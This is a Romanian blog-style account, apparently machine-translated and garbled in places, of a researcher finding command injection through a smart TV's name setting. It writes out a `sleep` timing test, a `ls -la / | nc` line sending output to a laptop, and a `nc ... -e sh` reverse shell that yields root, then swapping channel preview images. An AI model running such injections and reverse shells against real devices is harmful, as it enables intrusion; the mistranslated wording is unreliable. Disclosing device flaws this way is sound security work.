Ruperea prin introducerea de echipe de televiziune inteligente
A fost una dintre serile leneș obișnuite, când mă uitam la televizor, după o zi lungă de muncă.
A fost una dintre serile leneș obișnuite, când mă uitam la televizor, după o zi lungă de muncă. În ciuda faptului că m-am simțit obosit, am tot gândit la vulnerabilitățile găsite în router, pe care am împrumutat un prieten. Găsirea defecte în acest tip de dispozitive este întotdeauna un exercițiu distractiv, deoarece detaliile sunt revelate, disponibile numai pentru dezvoltatorii, și suport tehnic, probabil.
Atunci când se lucrează în domeniul securității informațiilor trebuie să testeze în mod constant sarcinile utile în diverse domenii de intrare. De exemplu, acesta poate fi un parametru GET-cerere, utilizat interfața web a panoului de control router, noua imprimantă, sau ca în cazul meu, televizorul. M-am gândit că ar fi distractiv dacă televizorul este numele de «somn 5" .
Figura 1: Parametrul pentru a atribui un nume la televizor
După intrarea în sarcina utilă prin intermediul panoului de control și de a salva rezultatele la meniul de setări a stat de ceva timp. Când televizorul a revenit la viață, am schimbat setarea pentru a putea ajunge la alte elemente de meniu. În acel moment eu încă nu am dat seama că a găsit ceva similar cu vulnerabilitatea asociată cu introducerea echipelor. De fapt, se estompeze TV timp de câteva secunde după schimbarea setarea nu a fost ceva ciudat. Cu toate acestea, întârzierea pentru o astfel de perioadă lungă de timp a stârnit curiozitatea mea.
timp de decolorare a fost mult mai mult de 5 secunde. Poate că a fost în ghilimele, și un televizor, nu așteaptă date de o astfel de intrare, a dat o eroare în scopul de a preveni de încărcare a acestor caractere. Am încercat să repete experimentul și a introdus `somn 0`. De data aceasta a pornit instantaneu.
Este ceva nu foarte clar, și am decis să măsoare timpul de răspuns în funcție de setarea funcției de somn. Sa constatat că, în timp ce meniul televizorului fading întotdeauna de trei ori mai mare decât valoarea acestui parametru:
- dormi (2) - 6 secunde
- dormi (3) - 9 secunde
- somn (5) - 15 secunde
Rularea Comenzi la TV
Nu am putut să cred că am fost capabil de a introduce echipa după prima încercare. Meniul fading nu a fost sută la sută dovadă, și, în general, nu foarte util dacă vorbim despre exploatare. În posesia mea a fost de 31 de caractere (minus două ghilimele simple), sarcina utilă ar trebui să fie nu mai mult de 29 de caractere.
Următoarele prezintă o listă de comenzi pe care am încercat să ruleze televizorul meu. În fața fiecărei echipe este dată o explicație, iar rezultatul de funcționare (succes / nu).
În continuare, a fost necesar pentru a conecta televizorul la laptop printr-un cablu de rețea, dar acum am fost bucuros că am făcut-o să ruleze comenzi pe televizor doar prin telecomandă.
Obținerea accesului la televizor Shelley
Figura 2: Setările pentru rețea notebook-uri
Odată ce a devenit clar că la televizor acolo nc utilitate, am decis să redirecționeze rezultatele comenzi specifice prin nc de pe laptop-ul meu. În primul rând echipa, desigur, a fost id-ul, cu care a fost necesar pentru a afla dacă avem acces root la sistemul televizorului.
Figura 3: Rezultatul komandyid
După cum se poate observa din figura de mai sus, drepturi de superutilizator avem. Acest fapt nu este atât de remarcabil, dar cu toate acestea. Apoi, am vrut să știu conținutul rădăcină / director cu comanda `ls -la / | nc 169.254.56.216 5`.
Figura 4: Conținutul directorul rădăcină
Excelent. Cu toate acestea, eu încă nu a avut o coajă completă pentru a executa comenzi. Toate opțiunile nu au fost testate pe larg și nu au fost de mare ajutor. Cu toate acestea, din moment ce versiunea nc, stabilit într-un televizor care acceptă pavilion -e, am fost în stare să organizeze o coajă inversă cu comanda `nc 169.254.213.210 5 -e sh`.
Figura 5: Întoarceți-shell pentru a executa comenzi la TV
Acum, când am avut o coajă completă, am vrut să văd rezultatele muncii sale pe ecranul televizorului. Aici există mai multe posibilități. De exemplu, schimbarea logo-ul la pornire, sau a schimba pictogramele de aplicații. Din moment ce am avut un Smart TV, acesta a fost deja stabilit mai multe programe, de exemplu, YouTube și Skype.
Figura 6: Această aplicație preinstalată pe televizor
Am observat că cea mai mare parte a sistemului de fișiere a fost disponibil pentru doar pentru citire, și nu am fost capabil de a schimba logo-ul. Cu toate acestea, există în mod frecvent în schimbare de imagini, de exemplu, domeniul de aplicare al previzualizări, care pot fi observate la schimbarea canalelor TV. Aceste programe conțin o previzualizare a imaginilor care vin într-un moment când ne mutăm în canal. Este evident că datele de imagine sunt stocate într-o locație accesibilă pentru fișierele de scriere și citire.
Icoane stocate în fișiere .png. Pentru o listă completă a fișierelor cu extensia .png am luat find / -name * .png echipa, cu toate acestea, nu au legătură cu imaginile de previzualizare fișier nu a fost printre rezultatele. Am făcut același truc cu fișiere .jpg și am văzut nume ca channelImage123.jpg. După descărcarea fișierelor necesare și înlocuirea fișierului cu un nume care conține channelImage șir de caractere, am primit următorul rezultat.
Figura 7: Ecran TV cu imagini actualizate
Televizorul dvs. nu este la fel de inteligent cum crezi
Dispozitivele conectate la internet poate fi o vulnerabilitate în cele mai neașteptate locuri. În cazul în care vă așteptați cel mai puțin. Când am testat comanda de somn, ea nu a putut imagina că munca mea cascador. Inițial, am decis să-și petreacă experimentul cu plictiseala. De asemenea, am avut nici o idee că televizorul meu rulează pe sistemul de operare Linux, și a fost chiar mai surprins de faptul că încălcarea constatată în stare de funcționare.
Nu folosiți această vulnerabilitate la distanță, deși ceva îmi spune că am avut dreptate când am decis să nu pentru a conecta televizorul la Internet și nu a utilizat funcții avansate prea des. Nu s-ar simți confortabil cu ideea că cineva poate controla televizorul meu.
Presupun că există o metode mai interesante și lacunele care sunt potrivite pentru utilizare. Cu toate acestea, cred că nu este necesar să se adauge gri de păr în acest moment, când televizorul se oprește, și credeți că, în cazul în care dispozitivul este în afara ordinii sau nu. În final, televizor este conceput pentru relaxare, dar nu pentru tensiune arterială ridicată, cu excepția cazului când urmăriți evenimente sportive. De exemplu, fotbal.